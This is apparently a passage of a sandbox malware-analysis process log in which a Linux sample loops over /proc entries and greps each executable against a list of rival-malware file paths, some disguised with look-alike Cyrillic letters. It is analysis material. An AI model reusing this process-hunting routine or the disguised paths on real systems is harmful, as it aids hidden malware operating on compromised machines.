  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:855
- /bin/grep
  grep exe
  2⤵
  PID:858
- /bin/ls
  ls -latrh /proc/22
  2⤵
  PID:857
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:860
- /bin/grep
  grep exe
  2⤵
  PID:863
- /bin/ls
  ls -latrh /proc/225
  2⤵
  PID:862
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:865
- /bin/grep
  grep exe
  2⤵
  PID:868
- /bin/ls
  ls -latrh /proc/23
  2⤵
  PID:867
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:870
- /bin/ls
  ls -latrh /proc/24
  2⤵
  PID:872
- /bin/grep
  grep exe
  2⤵
  PID:873
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:875
- /bin/grep
  grep exe
  2⤵
  PID:878
- /bin/ls
  ls -latrh /proc/3
  2⤵
  PID:877
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:880
- /bin/grep
  grep exe
  2⤵
  PID:883
- /bin/ls
  ls -latrh /proc/315
  2⤵
  PID:882
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:885
- /bin/grep
  grep exe
  2⤵
  PID:888
- /bin/ls
  ls -latrh /proc/316
  2⤵
  PID:887
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:890
- /bin/grep
  grep exe
  2⤵
  PID:894
- /bin/ls
  ls -latrh /proc/319
  2⤵
  PID:893
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:897
- /bin/grep
  grep exe
  2⤵
  PID:901
- /bin/ls
  ls -latrh /proc/344
  2⤵
  PID:900
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:904
- /bin/grep
  grep exe
  2⤵
  PID:907
- /bin/ls
  ls -latrh /proc/346
  2⤵
  PID:906
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:910
- /bin/grep
  grep exe
  2⤵
  PID:914
- /bin/ls
  ls -latrh /proc/36
  2⤵
  PID:913
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:916
- /bin/grep
  grep exe
  2⤵
  PID:921
- /bin/ls
  ls -latrh /proc/37
  2⤵
  PID:920
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:923
- /bin/grep
  grep exe
  2⤵
  PID:927
- /bin/ls
  ls -latrh /proc/371
  2⤵
  PID:926
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:930
- /bin/grep
  grep exe
  2⤵
  PID:936
- /bin/ls
  ls -latrh /proc/372
  2⤵
  PID:935
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:939
- /bin/grep
  grep exe
  2⤵
  PID:943
- /bin/ls
  ls -latrh /proc/381
  2⤵
  PID:942
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:946
- /bin/grep
  grep exe
  2⤵
  PID:950
- /bin/ls
  ls -latrh /proc/397
  2⤵
  PID:949
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:952
- /bin/grep
  grep exe
  2⤵
  PID:956
- /bin/ls
  ls -latrh /proc/4
  2⤵
  PID:955
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:959
- /bin/grep
  grep exe
  2⤵
  PID:962
- /bin/ls
  ls -latrh /proc/5
  2⤵
  PID:961
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:965
- /bin/grep
  grep exe
  2⤵
  PID:969
- /bin/ls
  ls -latrh /proc/500
  2⤵
  PID:968
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:971
- /bin/grep
  grep exe
  2⤵
  PID:975
- /bin/ls
  ls -latrh /proc/513
  2⤵
  PID:974
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:978
- /bin/grep
  grep exe
  2⤵
  PID:981
- /bin/ls
  ls -latrh /proc/548
  2⤵
  PID:980
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:985
- /bin/grep
  grep exe
  2⤵
  PID:988
- /bin/ls
  ls -latrh /proc/552
  2⤵
  PID:987
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:991
- /bin/grep
  grep exe
  2⤵
  PID:995
- /bin/ls
  ls -latrh /proc/6
  2⤵
  PID:994
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:997
- /bin/grep
  grep exe
  2⤵
  PID:1001
- /bin/ls
  ls -latrh /proc/680
  2⤵
  PID:1000
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1004
- /bin/grep
  grep exe
  2⤵
  PID:1008
- /bin/ls
  ls -latrh /proc/69
  2⤵
  PID:1007
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1011
- /bin/grep
  grep exe
  2⤵
  PID:1014
- /bin/ls
  ls -latrh /proc/694
  2⤵
  PID:1013
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1017
- /bin/ls
  ls -latrh /proc/695
  2⤵
  PID:1021
- /bin/grep
  grep exe
  2⤵
  PID:1022
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1025
- /bin/ls
  ls -latrh /proc/699
  2⤵
  PID:1027
- /bin/grep
  grep exe
  2⤵
  PID:1028
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1031
- /bin/grep
  grep exe
  2⤵
  PID:1035
- /bin/ls
  ls -latrh /proc/7
  2⤵
  PID:1034
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1039
- /bin/grep
  grep exe
  2⤵
  PID:1044
- /bin/ls
  ls -latrh /proc/70
  2⤵
  PID:1043
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1046
- /bin/grep
  grep exe
  2⤵
  PID:1050
- /bin/ls
  ls -latrh /proc/700
  2⤵
  PID:1049
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1053
- /bin/grep
  grep exe
  2⤵
  PID:1056
- /bin/ls
  ls -latrh /proc/701
  2⤵
  PID:1055
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1060
- /bin/grep
  grep exe
  2⤵
  PID:1064
- /bin/ls
  ls -latrh /proc/702
  2⤵
  PID:1063
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1066
- /bin/grep
  grep exe
  2⤵
  PID:1070
- /bin/ls
  ls -latrh /proc/707
  2⤵
  PID:1069
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1072
- /bin/grep
  grep exe
